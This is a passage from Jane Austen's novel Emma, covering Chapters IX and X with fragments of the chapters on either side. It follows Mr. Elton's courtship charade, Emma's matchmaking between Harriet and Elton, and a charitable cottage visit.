spirits, +and without having any such reason to give for her long absence, +she felt a satisfaction which settled her with her own mind, +and convinced her, that let Mr. Knightley think or say what he would, +she had done nothing which woman's friendship and woman's feelings +would not justify. + +He had frightened her a little about Mr. Elton; but when she considered +that Mr. Knightley could not have observed him as she had done, +neither with the interest, nor (she must be allowed to tell herself, +in spite of Mr. Knightley's pretensions) with the skill of such +an observer on such a question as herself, that he had spoken it +hastily and in anger, she was able to believe, that he had rather +said what he wished resentfully to be true, than what he knew +any thing about. He certainly might have heard Mr. Elton speak +with more unreserve than she had ever done, and Mr. Elton might not +be of an imprudent, inconsiderate disposition as to money matters; +he might naturally be rather attentive than otherwise to them; +but then, Mr. Knightley did not make due allowance for the influence +of a strong passion at war with all interested motives. Mr. Knightley +saw no such passion, and of course thought nothing of its effects; +but she saw too much of it to feel a doubt of its overcoming any +hesitations that a reasonable prudence might originally suggest; +and more than a reasonable, becoming degree of prudence, she was very +sure did not belong to Mr. Elton. + +Harriet's cheerful look and manner established hers: she came back, +not to think of Mr. Martin, but to talk of Mr. Elton. Miss Nash +had been telling her something, which she repeated immediately +with great delight. Mr. Perry had been to Mrs. Goddard's to attend +a sick child, and Miss Nash had seen him, and he had told Miss Nash, +that as he was coming back yesterday from Clayton Park, he had met +Mr. Elton, and found to his great surprize, that Mr. Elton was +actually on his road to London, and not meaning to return till +the morrow, though it was the whist-club night, which he had been +never known to miss before; and Mr. Perry had remonstrated with him +about it, and told him how shabby it was in him, their best player, +to absent himself, and tried very much to persuade him to put off +his journey only one day; but it would not do; Mr. Elton had been +determined to go on, and had said in a _very_ _particular_ way indeed, +that he was going on business which he would not put off for any +inducement in the world; and something about a very enviable commission, +and being the bearer of something exceedingly precious. Mr. Perry +could not quite understand him, but he was very sure there must +be a _lady_ in the case, and he told him so; and Mr. Elton only +looked very conscious and smiling, and rode off in great spirits. +Miss Nash had told her all this, and had talked a great deal more +about Mr. Elton; and said, looking so very significantly at her, +"that she did not pretend to understand what his business might be, +but she only knew that any woman whom Mr. Elton could prefer, +she should think the luckiest woman in the world; for, beyond a doubt, +Mr. Elton had not his equal for beauty or agreeableness." + + + +CHAPTER IX + + +Mr. Knightley might quarrel with her, but Emma could not quarrel +with herself. He was so much displeased, that it was longer than +usual before he came to Hartfield again; and when they did meet, +his grave looks shewed that she was not forgiven. She was sorry, +but could not repent. On the contrary, her plans and proceedings +were more and more justified and endeared to her by the general +appearances of the next few days. + +The Picture, elegantly framed, came safely to hand soon after +Mr. Elton's return, and being hung over the mantelpiece of the common +sitting-room, he got up to look at it, and sighed out his half sentences +of admiration just as he ought; and as for Harriet's feelings, they were +visibly forming themselves into as strong and steady an attachment +as her youth and sort of mind admitted. Emma was soon perfectly +satisfied of Mr. Martin's being no otherwise remembered, than as +he furnished a contrast with Mr. Elton, of the utmost advantage to the latter. + +Her views of improving her little friend's mind, by a great deal +of useful reading and conversation, had never yet led to more than +a few first chapters, and the intention of going on to-morrow. +It was much easier to chat than to study; much pleasanter to let +her imagination range and work at Harriet's fortune, than to be +labouring to enlarge her comprehension or exercise it on sober facts; +and the only literary pursuit which engaged Harriet at present, +the only mental provision she was making for the evening of life, +was the collecting and transcribing all the riddles of every sort +that she could meet with, into a thin quarto of hot-pressed paper, +made up by her friend, and ornamented with ciphers and trophies. + +In this age of literature, such collections on a very grand scale +are not uncommon. Miss Nash, head-teacher at Mrs. Goddard's, +had written out at least three hundred; and Harriet, who had taken +the first hint of it from her, hoped, with Miss Woodhouse's help, +to get a great many more. Emma assisted with her invention, +memory and taste; and as Harriet wrote a very pretty hand, +it was likely to be an arrangement of the first order, in form +as well as quantity. + +Mr. Woodhouse was almost as much interested in the business as the girls, +and tried very often to recollect something worth their putting in. +"So many clever riddles as there used to be when he was young--he +wondered he could not remember them! but he hoped he should in time." +And it always ended in "Kitty, a fair but frozen maid." + +His good friend Perry, too, whom he had spoken to on the subject, +did not at present recollect any thing of the riddle kind; +but he had desired Perry to be upon the watch, and as he went about +so much, something, he thought, might come from that quarter. + +It was by no means his daughter's wish that the intellects of +Highbury in general should be put under requisition. Mr. Elton +was the only one whose assistance she asked. He was invited +to contribute any really good enigmas, charades, or conundrums +that he might recollect; and she had the pleasure of seeing him +most intently at work with his recollections; and at the same time, +as she could perceive, most earnestly careful that nothing ungallant, +nothing that did not breathe a compliment to the sex should pass +his lips. They owed to him their two or three politest puzzles; +and the joy and exultation with which at last he recalled, +and rather sentimentally recited, that well-known charade, + + My first doth affliction denote, + Which my second is destin'd to feel + And my whole is the best antidote + That affliction to soften and heal.-- + +made her quite sorry to acknowledge that they had transcribed it +some pages ago already. + +"Why will not you write one yourself for us, Mr. Elton?" said she; +"that is the only security for its freshness; and nothing could be +easier to you." + +"Oh no! he had never written, hardly ever, any thing of the kind +in his life. The stupidest fellow! He was afraid not even Miss +Woodhouse"--he stopt a moment--"or Miss Smith could inspire him." + +The very next day however produced some proof of inspiration. +He called for a few moments, just to leave a piece of paper on the +table containing, as he said, a charade, which a friend of his had +addressed to a young lady, the object of his admiration, but which, +from his manner, Emma was immediately convinced must be his own. + +"I do not offer it for Miss Smith's collection," said he. +"Being my friend's, I have no right to expose it in any degree +to the public eye, but perhaps you may not dislike looking at it." + +The speech was more to Emma than to Harriet, which Emma +could understand. There was deep consciousness about him, +and he found it easier to meet her eye than her friend's. +He was gone the next moment:--after another moment's pause, + +"Take it," said Emma, smiling, and pushing the paper towards +Harriet--"it is for you. Take your own." + +But Harriet was in a tremor, and could not touch it; and Emma, +never loth to be first, was obliged to examine it herself. + + To Miss-- + + CHARADE. + + My first displays the wealth and pomp of kings, + Lords of the earth! their luxury and ease. + Another view of man, my second brings, + Behold him there, the monarch of the seas! + + But ah! united, what reverse we have! + Man's boasted power and freedom, all are flown; + Lord of the earth and sea, he bends a slave, + And woman, lovely woman, reigns alone. + + Thy ready wit the word will soon supply, + May its approval beam in that soft eye! + +She cast her eye over it, pondered, caught the meaning, read it through +again to be quite certain, and quite mistress of the lines, and then +passing it to Harriet, sat happily smiling, and saying to herself, +while Harriet was puzzling over the paper in all the confusion +of hope and dulness, "Very well, Mr. Elton, very well indeed. +I have read worse charades. _Courtship_--a very good hint. I give +you credit for it. This is feeling your way. This is saying very +plainly--`Pray, Miss Smith, give me leave to pay my addresses to you. +Approve my charade and my intentions in the same glance.' + + May its approval beam in that soft eye! + +Harriet exactly. Soft is the very word for her eye--of all epithets, +the justest that could be given. + + Thy ready wit the word will soon supply. + +Humph--Harriet's ready wit! All the better. A man must be very much +in love, indeed, to describe her so. Ah! Mr. Knightley, I wish +you had the benefit of this; I think this would convince you. +For once in your life you would be obliged to own yourself mistaken. +An excellent charade indeed! and very much to the purpose. +Things must come to a crisis soon now. + +She was obliged to break off from these very pleasant observations, +which were otherwise of a sort to run into great length, by the +eagerness of Harriet's wondering questions. + +"What can it be, Miss Woodhouse?--what can it be? I have not an idea--I +cannot guess it in the least. What can it possibly be? Do try +to find it out, Miss Woodhouse. Do help me. I never saw any thing +so hard. Is it kingdom? I wonder who the friend was--and who could +be the young lady. Do you think it is a good one? Can it be woman? + + And woman, lovely woman, reigns alone. + +Can it be Neptune? + + Behold him there, the monarch of the seas! + +Or a trident? or a mermaid? or a shark? Oh, no! shark is only +one syllable. It must be very clever, or he would not have brought it. +Oh! Miss Woodhouse, do you think we shall ever find it out?" + +"Mermaids and sharks! Nonsense! My dear Harriet, what are you +thinking of? Where would be the use of his bringing us a charade made +by a friend upon a mermaid or a shark? Give me the paper and listen. + +For Miss ----------, read Miss Smith. + + My first displays the wealth and pomp of kings, + Lords of the earth! their luxury and ease. + +That is _court_. + + Another view of man, my second brings; + Behold him there, the monarch of the seas! + +That is _ship_;--plain as it can be.--Now for the cream. + + But ah! united, (_courtship_, you know,) what reverse we have! + Man's boasted power and freedom, all are flown. + Lord of the earth and sea, he bends a slave, + And woman, lovely woman, reigns alone. + +A very proper compliment!--and then follows the application, +which I think, my dear Harriet, you cannot find much difficulty +in comprehending. Read it in comfort to yourself. There can +be no doubt of its being written for you and to you." + +Harriet could not long resist so delightful a persuasion. +She read the concluding lines, and was all flutter and happiness. +She could not speak. But she was not wanted to speak. It was enough +for her to feel. Emma spoke for her. + +"There is so pointed, and so particular a meaning in this compliment," +said she, "that I cannot have a doubt as to Mr. Elton's intentions. +You are his object--and you will soon receive the completest proof +of it. I thought it must be so. I thought I could not be so deceived; +but now, it is clear; the state of his mind is as clear and decided, +as my wishes on the subject have been ever since I knew you. +Yes, Harriet, just so long have I been wanting the very circumstance +to happen what has happened. I could never tell whether an attachment +between you and Mr. Elton were most desirable or most natural. +Its probability and its eligibility have really so equalled each +other! I am very happy. I congratulate you, my dear Harriet, with all +my heart. This is an attachment which a woman may well feel pride +in creating. This is a connexion which offers nothing but good. +It will give you every thing that you want--consideration, independence, +a proper home--it will fix you in the centre of all your real friends, +close to Hartfield and to me, and confirm our intimacy for ever. +This, Harriet, is an alliance which can never raise a blush in either +of us." + +"Dear Miss Woodhouse!"--and "Dear Miss Woodhouse," was all that Harriet, +with many tender embraces could articulate at first; but when they +did arrive at something more like conversation, it was sufficiently +clear to her friend that she saw, felt, anticipated, and remembered +just as she ought. Mr. Elton's superiority had very ample acknowledgment. + +"Whatever you say is always right," cried Harriet, "and therefore +I suppose, and believe, and hope it must be so; but otherwise I could +not have imagined it. It is so much beyond any thing I deserve. +Mr. Elton, who might marry any body! There cannot be two opinions +about _him_. He is so very superior. Only think of those sweet +verses--`To Miss --------.' Dear me, how clever!--Could it really +be meant for me?" + +"I cannot make a question, or listen to a question about that. +It is a certainty. Receive it on my judgment. It is a sort +of prologue to the play, a motto to the chapter; and will be soon +followed by matter-of-fact prose." + +"It is a sort of thing which nobody could have expected. I am sure, +a month ago, I had no more idea myself!--The strangest things do +take place!" + +"When Miss Smiths and Mr. Eltons get acquainted--they do indeed--and +really it is strange; it is out of the common course that what is +so evidently, so palpably desirable--what courts the pre-arrangement +of other people, should so immediately shape itself into the proper form. +You and Mr. Elton are by situation called together; you belong +to one another by every circumstance of your respective homes. +Your marrying will be equal to the match at Randalls. There does +seem to be a something in the air of Hartfield which gives love +exactly the right direction, and sends it into the very channel +where it ought to flow. + + The course of true love never did run smooth-- + +A Hartfield edition of Shakespeare would have a long note on that passage." + +"That Mr. Elton should really be in love with me,--me, of all people, +who did not know him, to speak to him, at Michaelmas! And he, +the very handsomest man that ever was, and a man that every body +looks up to, quite like Mr. Knightley! His company so sought after, +that every body says he need not eat a single meal by himself if he +does not chuse it; that he has more invitations than there are days +in the week. And so excellent in the Church! Miss Nash has put down +all the texts he has ever preached from since he came to Highbury. +Dear me! When I look back to the first time I saw him! How little +did I think!--The two Abbots and I ran into the front room and +peeped through the blind when we heard he was going by, and Miss +Nash came and scolded us away, and staid to look through herself; +however, she called me back presently, and let me look too, +which was very good-natured. And how beautiful we thought he looked! +He was arm-in-arm with Mr. Cole." + +"This is an alliance which, whoever--whatever your friends may be, +must be agreeable to them, provided at least they have common sense; +and we are not to be addressing our conduct to fools. If they +are anxious to see you _happily_ married, here is a man whose amiable +character gives every assurance of it;--if they wish to have you +settled in the same country and circle which they have chosen +to place you in, here it will be accomplished; and if their only +object is that you should, in the common phrase, be _well_ married, +here is the comfortable fortune, the respectable establishment, +the rise in the world which must satisfy them." + +"Yes, very true. How nicely you talk; I love to hear you. +You understand every thing. You and Mr. Elton are one as clever +as the other. This charade!--If I had studied a twelvemonth, +I could never have made any thing like it." + +"I thought he meant to try his skill, by his manner of declining +it yesterday." + +"I do think it is, without exception, the best charade I ever read." + +"I never read one more to the purpose, certainly." + +"It is as long again as almost all we have had before." + +"I do not consider its length as particularly in its favour. +Such things in general cannot be too short." + +Harriet was too intent on the lines to hear. The most satisfactory +comparisons were rising in her mind. + +"It is one thing," said she, presently--her cheeks in a glow--"to +have very good sense in a common way, like every body else, +and if there is any thing to say, to sit down and write a letter, +and say just what you must, in a short way; and another, to write +verses and charades like this." + +Emma could not have desired a more spirited rejection of Mr. Martin's prose. + +"Such sweet lines!" continued Harriet--"these two last!--But +how shall I ever be able to return the paper, or say I have found +it out?--Oh! Miss Woodhouse, what can we do about that?" + +"Leave it to me. You do nothing. He will be here this evening, +I dare say, and then I will give it him back, and some nonsense +or other will pass between us, and you shall not be committed.--Your +soft eyes shall chuse their own time for beaming. Trust to me." + +"Oh! Miss Woodhouse, what a pity that I must not write this beautiful +charade into my book! I am sure I have not got one half so good." + +"Leave out the two last lines, and there is no reason why you +should not write it into your book." + +"Oh! but those two lines are"-- + +--"The best of all. Granted;--for private enjoyment; and for private +enjoyment keep them. They are not at all the less written you know, +because you divide them. The couplet does not cease to be, nor does +its meaning change. But take it away, and all _appropriation_ ceases, +and a very pretty gallant charade remains, fit for any collection. +Depend upon it, he would not like to have his charade slighted, +much better than his passion. A poet in love must be encouraged in +both capacities, or neither. Give me the book, I will write it down, +and then there can be no possible reflection on you." + +Harriet submitted, though her mind could hardly separate the parts, +so as to feel quite sure that her friend were not writing down +a declaration of love. It seemed too precious an offering for any +degree of publicity. + +"I shall never let that book go out of my own hands," said she. + +"Very well," replied Emma; "a most natural feeling; and the longer +it lasts, the better I shall be pleased. But here is my father +coming: you will not object to my reading the charade to him. +It will be giving him so much pleasure! He loves any thing of +the sort, and especially any thing that pays woman a compliment. +He has the tenderest spirit of gallantry towards us all!--You must +let me read it to him." + +Harriet looked grave. + +"My dear Harriet, you must not refine too much upon this +charade.--You will betray your feelings improperly, if you are +too conscious and too quick, and appear to affix more meaning, +or even quite all the meaning which may be affixed to it. +Do not be overpowered by such a little tribute of admiration. +If he had been anxious for secrecy, he would not have left the paper +while I was by; but he rather pushed it towards me than towards you. +Do not let us be too solemn on the business. He has encouragement +enough to proceed, without our sighing out our souls over this charade." + +"Oh! no--I hope I shall not be ridiculous about it. Do as you please." + +Mr. Woodhouse came in, and very soon led to the subject again, +by the recurrence of his very frequent inquiry of "Well, my dears, +how does your book go on?--Have you got any thing fresh?" + +"Yes, papa; we have something to read you, something quite fresh. +A piece of paper was found on the table this morning--(dropt, +we suppose, by a fairy)--containing a very pretty charade, and we +have just copied it in." + +She read it to him, just as he liked to have any thing read, +slowly and distinctly, and two or three times over, with explanations +of every part as she proceeded--and he was very much pleased, and, +as she had foreseen, especially struck with the complimentary conclusion. + +"Aye, that's very just, indeed, that's very properly said. +Very true. `Woman, lovely woman.' It is such a pretty charade, +my dear, that I can easily guess what fairy brought it.--Nobody +could have written so prettily, but you, Emma." + +Emma only nodded, and smiled.--After a little thinking, +and a very tender sigh, he added, + +"Ah! it is no difficulty to see who you take after! Your dear mother +was so clever at all those things! If I had but her memory! But I +can remember nothing;--not even that particular riddle which you +have heard me mention; I can only recollect the first stanza; +and there are several. + + Kitty, a fair but frozen maid, + Kindled a flame I yet deplore, + The hood-wink'd boy I called to aid, + Though of his near approach afraid, + So fatal to my suit before. + +And that is all that I can recollect of it--but it is very clever +all the way through. But I think, my dear, you said you had got it." + +"Yes, papa, it is written out in our second page. We copied it +from the Elegant Extracts. It was Garrick's, you know." + +"Aye, very true.--I wish I could recollect more of it. + + Kitty, a fair but frozen maid. + +The name makes me think of poor Isabella; for she was very near +being christened Catherine after her grandmama. I hope we shall +have her here next week. Have you thought, my dear, where you +shall put her--and what room there will be for the children?" + +"Oh! yes--she will have her own room, of course; the room she always +has;--and there is the nursery for the children,--just as usual, +you know. Why should there be any change?" + +"I do not know, my dear--but it is so long since she was here!--not +since last Easter, and then only for a few days.--Mr. John Knightley's +being a lawyer is very inconvenient.--Poor Isabella!--she is sadly +taken away from us all!--and how sorry she will be when she comes, +not to see Miss Taylor here!" + +"She will not be surprized, papa, at least." + +"I do not know, my dear. I am sure I was very much surprized +when I first heard she was going to be married." + +"We must ask Mr. and Mrs. Weston to dine with us, while Isabella +is here." + +"Yes, my dear, if there is time.--But--(in a very depressed tone)--she +is coming for only one week. There will not be time for any thing." + +"It is unfortunate that they cannot stay longer--but it seems a case +of necessity. Mr. John Knightley must be in town again on the 28th, +and we ought to be thankful, papa, that we are to have the whole +of the time they can give to the country, that two or three days +are not to be taken out for the Abbey. Mr. Knightley promises +to give up his claim this Christmas--though you know it is longer +since they were with him, than with us." + +"It would be very hard, indeed, my dear, if poor Isabella were +to be anywhere but at Hartfield." + +Mr. Woodhouse could never allow for Mr. Knightley's claims on +his brother, or any body's claims on Isabella, except his own. +He sat musing a little while, and then said, + +"But I do not see why poor Isabella should be obliged to go back +so soon, though he does. I think, Emma, I shall try and persuade +her to stay longer with us. She and the children might stay very well." + +"Ah! papa--that is what you never have been able to accomplish, +and I do not think you ever will. Isabella cannot bear to stay +behind her husband." + +This was too true for contradiction. Unwelcome as it was, Mr. Woodhouse +could only give a submissive sigh; and as Emma saw his spirits +affected by the idea of his daughter's attachment to her husband, +she immediately led to such a branch of the subject as must raise them. + +"Harriet must give us as much of her company as she can while +my brother and sister are here. I am sure she will be pleased +with the children. We are very proud of the children, are not we, +papa? I wonder which she will think the handsomest, Henry or John?" + +"Aye, I wonder which she will. Poor little dears, how glad they +will be to come. They are very fond of being at Hartfield, Harriet." + +"I dare say they are, sir. I am sure I do not know who is not." + +"Henry is a fine boy, but John is very like his mama. Henry is the eldest, +he was named after me, not after his father. John, the second, +is named after his father. Some people are surprized, I believe, +that the eldest was not, but Isabella would have him called Henry, +which I thought very pretty of her. And he is a very clever boy, +indeed. They are all remarkably clever; and they have so many +pretty ways. They will come and stand by my chair, and say, +`Grandpapa, can you give me a bit of string?' and once Henry asked me +for a knife, but I told him knives were only made for grandpapas. +I think their father is too rough with them very often." + +"He appears rough to you," said Emma, "because you are so very +gentle yourself; but if you could compare him with other papas, +you would not think him rough. He wishes his boys to be active and hardy; +and if they misbehave, can give them a sharp word now and then; +but he is an affectionate father--certainly Mr. John Knightley +is an affectionate father. The children are all fond of him." + +"And then their uncle comes in, and tosses them up to the ceiling +in a very frightful way!" + +"But they like it, papa; there is nothing they like so much. +It is such enjoyment to them, that if their uncle did not lay down +the rule of their taking turns, whichever began would never give way +to the other." + +"Well, I cannot understand it." + +"That is the case with us all, papa. One half of the world cannot +understand the pleasures of the other." + +Later in the morning, and just as the girls were going to separate +in preparation for the regular four o'clock dinner, the hero +of this inimitable charade walked in again. Harriet turned away; +but Emma could receive him with the usual smile, and her quick eye +soon discerned in his the consciousness of having made a push--of +having thrown a die; and she imagined he was come to see how it +might turn up. His ostensible reason, however, was to ask whether +Mr. Woodhouse's party could be made up in the evening without him, +or whether he should be in the smallest degree necessary at Hartfield. +If he were, every thing else must give way; but otherwise his friend +Cole had been saying so much about his dining with him--had made +such a point of it, that he had promised him conditionally to come. + +Emma thanked him, but could not allow of his disappointing his +friend on their account; her father was sure of his rubber. +He re-urged--she re-declined; and he seemed then about to make +his bow, when taking the paper from the table, she returned it-- + +"Oh! here is the charade you were so obliging as to leave with us; +thank you for the sight of it. We admired it so much, that I have +ventured to write it into Miss Smith's collection. Your friend +will not take it amiss I hope. Of course I have not transcribed +beyond the first eight lines." + +Mr. Elton certainly did not very well know what to say. +He looked rather doubtingly--rather confused; said something about +"honour,"--glanced at Emma and at Harriet, and then seeing the book +open on the table, took it up, and examined it very attentively. +With the view of passing off an awkward moment, Emma smilingly said, + +"You must make my apologies to your friend; but so good a charade +must not be confined to one or two. He may be sure of every woman's +approbation while he writes with such gallantry." + +"I have no hesitation in saying," replied Mr. Elton, though hesitating +a good deal while he spoke; "I have no hesitation in saying--at +least if my friend feels at all as _I_ do--I have not the smallest +doubt that, could he see his little effusion honoured as _I_ see it, +(looking at the book again, and replacing it on the table), he +would consider it as the proudest moment of his life." + +After this speech he was gone as soon as possible. Emma could not +think it too soon; for with all his good and agreeable qualities, +there was a sort of parade in his speeches which was very apt +to incline her to laugh. She ran away to indulge the inclination, +leaving the tender and the sublime of pleasure to Harriet's share. + + + +CHAPTER X + + +Though now the middle of December, there had yet been no weather +to prevent the young ladies from tolerably regular exercise; +and on the morrow, Emma had a charitable visit to pay to a poor +sick family, who lived a little way out of Highbury. + +Their road to this detached cottage was down Vicarage Lane, a lane +leading at right angles from the broad, though irregular, main street +of the place; and, as may be inferred, containing the blessed abode +of Mr. Elton. A few inferior dwellings were first to be passed, +and then, about a quarter of a mile down the lane rose the Vicarage, +an old and not very good house, almost as close to the road as it +could be. It had no advantage of situation; but had been very much +smartened up by the present proprietor; and, such as it was, +there could be no possibility of the two friends passing it without +a slackened pace and observing eyes.--Emma's remark was-- + +"There it is. There go you and your riddle-book one of these days."-- +Harriet's was-- + +"Oh, what a sweet house!--How very beautiful!--There are the yellow +curtains that Miss Nash admires so much." + +"I do not often walk this way _now_," said Emma, as they proceeded, +"but _then_ there will be an inducement, and I shall gradually get +intimately acquainted with all the hedges, gates, pools and pollards +of this part of Highbury." + +Harriet, she found, had never in her life been within side the Vicarage, +and her curiosity to see it was so extreme, that, considering exteriors +and probabilities, Emma could only class it, as a proof of love, +with Mr. Elton's seeing ready wit in her. + +"I wish we could contrive it," said she; "but I cannot think +of any tolerable pretence for going in;--no servant that I want +to inquire about of his housekeeper--no message from my father." + +She pondered, but could think of nothing. After a mutual silence +of some minutes, Harriet thus began again-- + +"I do so wonder, Miss Woodhouse, that you should not be married, +or going to be married! so charming as you are!"-- + +Emma laughed, and replied, + +"My being charming, Harriet, is not quite enough to induce me to marry; +I must find other people charming--one other person at least. +And I am not only, not going to be married, at present, but have +very little intention of ever marrying at all." + +"Ah!--so you say; but I cannot believe it." + +"I must see somebody very superior to any one I have seen yet, +to be tempted; Mr. Elton, you know, (recollecting herself,) +is out of the question: and I do _not_ wish to see any such person. +I would rather not be tempted. I cannot really change for the better. +If I were to marry, I must expect to repent it." + +"Dear me!--it is so odd to hear a woman talk so!"-- + +"I have none of the usual inducements of women to marry. +Were I to fall in love, indeed, it would be a different thing! +but I never have been in love; it is not my way, or my nature; +and I do not think I ever shall. And, without love, I am sure I +should be a fool to change such a situation as mine. Fortune I +do not want; employment I do not want; consequence I do not want: +I believe few married women are half as much mistress of their +husband's house as I am of Hartfield; and never, never could I expect +to be so truly beloved and important; so always first and always +right in any man's eyes as I am in my father's." + +"But then, to be an old maid at last, like Miss Bates!" + +"That is as formidable an image as you could present, Harriet; and if I +thought I should ever be like Miss Bates! so silly--so satisfied-- +so smiling--so prosing--so undistinguishing and unfastidious-- +and so apt to tell every thing relative to every body about me, +I would marry to-morrow. But between _us_, I am convinced there never +can be any likeness, except in being unmarried." + +"But still, you will be an old maid! and that's so dreadful!" + +"Never mind, Harriet, I shall not be a poor old maid; and it is +poverty only which makes celibacy contemptible to a generous public! +A single woman, with a very narrow income, must be a ridiculous, +disagreeable old maid! the proper sport of boys and girls, +but a single woman, of good fortune, is always respectable, +and may be as sensible and pleasant as any body else. And the +distinction is not quite so much against the candour and common +sense of the world as appears at first; for a very narrow income +has a tendency to contract the mind, and sour the temper. +Those who can barely live, and who live perforce in a very small, +and generally very inferior, society, may well be illiberal and cross. +This does not apply, however, to Miss Bates; she is only too good +natured and too silly to suit me; but, in general, she is very +much to the taste of every body, though single and though poor. +Poverty certainly has not contracted her mind: I really believe, +if she had only a shilling in the world, she would be very likely +to give away sixpence of it; and nobody is afraid of her: that is a +great charm." + +"Dear me! but what shall you do? how shall you employ yourself +when you grow old?" + +"If I know myself, Harriet, mine is an active, busy mind, with a great +many independent resources; and I do not perceive why I should be +more in want of employment at forty or fifty than one-and-twenty. +Woman's usual occupations of hand and mind will be as open to me then +as they are now; or with no important variation. If I draw less, +I shall read more; if I give up music, I shall take to carpet-work. +And as for objects of interest, objects for the affections, +which is in truth the great point of inferiority, the want of which +is really the great evil to be avoided in _not_ marrying, I shall +be very well off, with all the children of a sister I love so much, +to care about. There will be enough of them, in all probability, +to supply every sort of sensation that declining life can need. +There will be enough for every hope and every fear; and though my +attachment to none can equal that of a parent, it suits my ideas +of comfort better than what is warmer and blinder. My nephews +and nieces!--I shall often have a niece with me." + +"Do you know Miss Bates's niece? That is, I know you must have +seen her a hundred times--but are you acquainted?" + +"Oh! yes; we are always forced to be acquainted whenever she comes +to Highbury. By the bye, _that_ is almost enough to put one out +of conceit with a niece. Heaven forbid! at least, that I should +ever bore people half so much about all the Knightleys together, +as she does about Jane Fairfax. One is sick of the very name +of Jane Fairfax. Every letter from her is read forty times over; +her compliments to all friends go round and round again; and if she +does but send her aunt the pattern of a stomacher, or knit a pair +of garters for her grandmother, one hears of nothing else for a month. +I wish Jane Fairfax very well; but she tires me to death." + +They were now approaching the cottage, and all idle topics +were superseded. Emma was very compassionate; and the distresses +of the poor were as sure of relief from her personal attention +and kindness, her counsel and her patience, as from her purse. +She understood their ways, could allow for their ignorance and +their temptations, had no romantic expectations of extraordinary +virtue from those for whom education had done so little; entered into +their troubles with ready sympathy, and always gave her assistance +with as much intelligence as good-will. In the present instance, +it was sickness and poverty together which she came to visit; +and after remaining there as long as she could give comfort or advice, +she quitted the cottage with such an impression of the scene +as made her say to Harriet, as they walked away, + +"These are the sights, Harriet, to do one good. How trifling they +make every thing else appear!--I feel now as if I could think of +nothing but these poor creatures all the rest of the day; and yet, +who can say how soon it may all vanish from my mind?" + +"Very true," said Harriet. "Poor creatures! one can think +of nothing else." + +"And really, I do not think the impression will soon be over," +said Emma, as she crossed the low hedge, and tottering footstep +which ended the narrow, slippery path through the cottage garden, +and brought them into the lane again. "I do not think it will," +stopping to look once more at all the outward wretchedness of the place, +and recall the still greater within. + +"Oh! dear, no," said her companion. + +They walked on. The lane made a slight bend; and when that bend +was passed, Mr. Elton was immediately in sight; and so near +as to give Emma time only to say farther, + +"Ah! Harriet, here comes a very sudden trial of our stability +in good thoughts. Well, (smiling,) I hope it may be allowed that +if compassion has produced exertion and relief to the sufferers, +it has done all that is truly important. If we feel for the wretched, +enough to do all we can for them, the rest is empty sympathy, +only distressing to ourselves." + +Harriet could just answer, "Oh! dear, yes," before the gentleman +joined them. The wants and sufferings of the poor family, however, +were the first subject on meeting. He had been going to call +on them. His visit he would now defer; but they had a very +interesting parley about what could be done and should be done. +Mr. Elton then turned back to accompany them. + +"To fall in with each other on such an errand as this," thought Emma; +"to meet in a charitable scheme; this will bring a great increase +of love on each side. I should not wonder if it were to bring +on the declaration. It must, if I were not here. I wish I were +anywhere else." + +Anxious to separate herself from them as far as she could, she soon +afterwards took possession of a narrow footpath, a little raised +on one side of the lane, leaving them together in the main road. +But she had not been there two minutes when she found that Harriet's +habits of dependence and imitation were bringing her up too, and that, +in short, they would both be soon after her. This would not do; +she immediately stopped, under pretence of having some alteration +to make in the lacing of her half-boot, and stooping down in complete +occupation of the footpath, begged them to have the goodness to walk on, +and she would follow in half a minute. They did as they were desired; +and by the time she judged it reasonable to have done with her boot, +she had the comfort of farther delay in her power, being overtaken +by a child from the cottage, setting out, according to orders, +with her pitcher, to fetch broth from Hartfield. To walk by the side +of this child, and talk to and question her, was the most natural +thing in the world, or would have been the most natural, had she been +acting just then without design; and by this means the others were +still able to keep ahead, without any obligation of waiting for her. +She gained on them, however, involuntarily: the child's pace was quick, +and theirs rather slow; and she was the more concerned at it, +from their being evidently in a conversation which interested them. +Mr. Elton was speaking with animation, Harriet listening with a very +pleased attention; and Emma, having sent the child on, was beginning +to think how she might draw back a little more, when they both +looked around, and she was obliged to join them. + +Mr. Elton was still talking, still engaged in some interesting detail; +and Emma experienced some disappointment when she found that he +was only giving his fair companion an account of the yesterday's +party at his friend Cole's, and that she was come in herself for +the Stilton cheese, the north Wiltshire, the butter, the cellery, +the beet-root, and all the dessert. + +"This would soon have led to something better, of course," was her +consoling reflection; "any thing interests between those who love; +and any thing will serve as introduction to what is near the heart. +If I could but have kept longer away!" + +They now walked on together quietly, till within view of the vicarage +pales, when a sudden resolution, of at least getting Harriet into +the house, made her again find something very much amiss about her boot, +and fall behind to arrange it once more. She then broke the lace +off short, and dexterously throwing it into a ditch, was presently +obliged to entreat them to stop, and acknowledged her inability to +put herself to rights so as to be able to walk home in tolerable comfort. + +"Part of my lace is gone," said she, "and I do not know how I am +to contrive. I really am a most troublesome companion to you both, +but I hope I am not often so ill-equipped. Mr. Elton, I must beg +leave to stop at your house, and ask your housekeeper for a bit +of ribband or string, or any thing just to keep my boot on." + +Mr. Elton looked all happiness at this proposition; and nothing +could exceed his alertness and attention in conducting them into +his house and endeavouring to make every thing appear to advantage. +The room they were taken into was the one he chiefly occupied, +and looking forwards; behind it was another with which it immediately +communicated; the door between them was open, and Emma passed +into it with the housekeeper to receive her assistance in the most +comfortable manner. She was obliged to leave the door ajar as she +found it; but she fully intended that Mr. Elton should close it. +It was not closed, however, it still remained ajar; but by engaging +the housekeeper in incessant conversation, she hoped to make it +practicable for him to chuse his own subject in the adjoining room. +For ten minutes she could hear nothing but herself. It could +be protracted no longer. She was then obliged to be finished, +and make her appearance. + +The lovers were standing together at one of the windows. It had a +most favourable aspect; and, for half a minute, Emma felt the glory +of having schemed successfully. But it would not do; he had not +come to the point. He had been most agreeable, most delightful; +he had told Harriet that he had seen them go by, and had purposely +followed them; other little gallantries and allusions had been dropt, +but nothing serious. + +"Cautious, very cautious," thought Emma; "he advances inch by inch, +and will hazard nothing till he believes himself secure." + +Still, however, though every thing had not been accomplished +by her ingenious device, she could not but flatter herself +that it had been the occasion of much present enjoyment to both, +and must be leading them forward to the great event. + + + +CHAPTER XI + + +Mr. Elton must now be left to himself. It was no longer in Emma's +power to superintend his happiness or quicken his measures. +The coming of her sister's family was so very near at hand, +that first in anticipation, and then in reality, it became henceforth +her prime object of interest; and during the ten days of their stay +at Hartfield it was not to be expected--she did not herself expect-- +that any thing beyond occasional, fortuitous assistance could +be afforded by her to the lovers. They might advance rapidly +if they would, however; they must advance somehow or other whether +they would or no. She hardly wished to have more leisure for them. +There are people, who the more you do for them, the less they will +do for themselves. + +Mr. and 